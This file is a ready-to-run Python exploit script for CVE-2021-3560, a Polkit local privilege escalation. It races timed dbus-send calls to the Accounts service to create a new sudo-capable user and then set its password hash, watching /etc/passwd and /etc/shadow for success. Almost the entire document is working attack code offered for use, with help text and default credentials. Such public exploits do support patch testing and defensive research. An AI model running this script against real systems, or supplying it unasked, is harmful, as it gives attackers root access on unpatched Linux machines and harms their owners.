#!/usr/bin/env python3 # Exploit Title: Polkit 0.0-0.118 - Local Privilege Escalation # Date: 05/15/2022 # Exploit Author: UNICORD (NicPWNs & Dev-Yeoj) # Vendor Homepage: https://gitlab.freedesktop.org/polkit/polkit/ # Software Link: https://www.freedesktop.org/software/polkit/releases/polkit-0.105.tar.gz # Version: Polkit 0.0 - 0.118 # Tested on: Polkit 0.105 (Ubuntu 20.04.2 LTS) # CVE: CVE-2021-3560 # Source: https://github.com/UNICORDev/exploit-CVE-2021-3560 # Description: It was found that polkit could be tricked into bypassing the credential checks for D-Bus requests, elevating the privileges of the requestor to the root user. # Imports import os import subprocess import sys import time # Class for colors class color: red = '\033[91m' gold = '\033[93m' blue = '\033[36m' green = '\033[92m' purple = '\033[35m' no = '\033[0m' # Print UNICORD ASCII Art def UNICORD_ASCII(): print(rf""" {color.red} _ __,~~~{color.gold}/{color.red}_{color.no} {color.blue}__ ___ _______________ ___ ___{color.no} {color.red} ,~~`( )_( )-\| {color.blue}/ / / / |/ / _/ ___/ __ \/ _ \/ _ \{color.no} {color.red} |/| `--. {color.purple}Y {color.blue}/ /_/ / // // /__/ /_/ / , _/ // /{color.no} {color.green}_V__v___{color.red}!{color.green}_{color.red}!{color.green}__{color.red}!{color.green}_______|__{color.blue}\____/_/|_/___/\___/\____/_/|_/____/{color.green}....{color.no} """) # Print exploit help menu def help(): print(r"""UNICORD Exploit for CVE-2021-3560 (Polkit) - Local Privilege Escalation Usage: python3 exploit-CVE-2021-3560.py [-u -p ] python3 exploit-CVE-2021-3560.py -h Options: -u Custom username. Provide username to be created. (Optional) -p Custom password. Provide password to be configured for user. (Optional) -h Show this help menu. """) def loading(spins): def spinning_cursor(): while True: for cursor in '|/-\\': yield cursor spinner = spinning_cursor() for _ in range(spins): sys.stdout.write(next(spinner)) sys.stdout.flush() time.sleep(0.1) sys.stdout.write('\b') # Check for dependencies def dependencies(): deps = {'gnome-control-center':"apt install gnome-control-center",'openssl':"apt install openssl",'sudo':"apt install sudo"} missingDep = False for dep in deps: if subprocess.call(['which',dep],stdout=subprocess.DEVNULL,stderr=subprocess.STDOUT) == 1: print(f"{color.blue}ERRORED: {color.red}Missing dependency \"{dep}\". Try: \"{deps[dep]}\"{color.no}") missingDep = True if missingDep is True: exit() # Run the exploit def exploit(username, password): UNICORD_ASCII() print(f"{color.blue}UNICORD: {color.red}Exploit for CVE-2021-3560 (Polkit) - Local Privilege Escalation{color.no}") print(f"{color.blue}USERNAME: {color.gold}" + username + f"{color.no}") print(f"{color.blue}PASSWORD: {color.gold}" + password + f"{color.no}") loading(15) # Check for dependencies dependencies() print(f"{color.blue}DEPENDS: {color.gold}Dependencies for exploit are met!{color.no}") loading(15) # Make sure we can access passwd & shadow file. (We will need to view the size of these later. . .) if not os.path.isfile("/etc/passwd"): print (f"{color.blue}ERRORED: {color.red}Unable to locate passwd file!{color.no}") if not os.path.isfile("/etc/shadow"): print (f"{color.blue}ERRORED: {color.red}Unable to locate shadow file!{color.no}") # Gather passwd file size to determine when we successfully add a new user passwd_size = subprocess.check_output("ls -l /etc/passwd | awk '{print $5}'", shell=True) passwd_size = passwd_size.decode("utf-8") passwd_size = int(passwd_size) # Loop to create user through trial and error counter = 0.001 create_user_cmd = ['dbus-send','--system','--dest=org.freedesktop.Accounts','--type=method_call','--print-reply','/org/freedesktop/Accounts','org.freedesktop.Accounts.CreateUser','string:' + username,'string:' + username,'int32:1'] while True: counter = counter + 0.0001 create_user = subprocess.Popen(create_user_cmd, stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL) try: create_user.wait(timeout=counter) create_user.kill() except subprocess.TimeoutExpired: create_user.kill() if counter>0.05: print(f"{color.blue}ERRORED: {color.red}User was not able to be created or already exists!{color.no}") exit() # Exit loop if passwd file changes in size new_passwd_size = subprocess.check_output("ls -l /etc/passwd | awk '{print $5}'", shell=True) new_passwd_size = int(new_passwd_size) if new_passwd_size != passwd_size: break print(f"{color.blue}EXPLOIT: {color.gold}New user created!{color.no}") loading(15) # Generate password hash for new user password_hash = subprocess.check_output(f"openssl passwd -5 {password}", shell=True) password_hash = password_hash.decode("utf-8") password_hash = password_hash[:-1] user_id = subprocess.check_output("id -u " + username, shell=True) user_id = user_id.decode("utf-8") user_id = user_id[:-1] print(f"{color.blue}PREPARE: {color.gold}New password hash generated!{color.no}") # Gather shadow file size to determine if we successfully changed the password or not shadow_size = subprocess.check_output("ls -l /etc/shadow | awk '{print $5}'", shell=True) shadow_size = shadow_size.decode("utf-8") shadow_size = int(shadow_size) # Loop to add password to shadow file. counter = 0.001 add_password_hash_cmd = ['dbus-send','--system','--dest=org.freedesktop.Accounts','--type=method_call','--print-reply','/org/freedesktop/Accounts/User' + user_id,'org.freedesktop.Accounts.User.SetPassword','string:' + password_hash,'string:' + username] while True: counter = counter + 0.0001 create_user = subprocess.Popen(add_password_hash_cmd, stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL) try: create_user.wait(timeout=counter) create_user.kill() except subprocess.TimeoutExpired: create_user.kill() if counter>0.05: print(f"{color.blue}ERRORED: {color.red}Password hash was not able to be set or already exists!{color.no}") exit() # Exit if shadow file changes in size new_shadow_size = subprocess.check_output("ls -l /etc/shadow | awk '{print $5}'", shell=True) new_shadow_size = int(new_shadow_size) if new_shadow_size != shadow_size: break print(f"{color.blue}EXPLOIT: {color.gold}Password configured for new user!{color.no}") loading(15) print(f"{color.blue}SUCCESS: {color.green}Created Sudo user \"{color.gold}{username}{color.green}\" with password \"{color.gold}{password}{color.green}\"!{color.no}\n") exit() if __name__ == "__main__": args = ['-h','-u','-p'] username = 'unicord' password = 'unicord' if args[1] in sys.argv: username = sys.argv[sys.argv.index(args[1]) + 1] if args[2] in sys.argv: password = sys.argv[sys.argv.index(args[2]) + 1] if args[0] in sys.argv: help() else: exploit(username, password)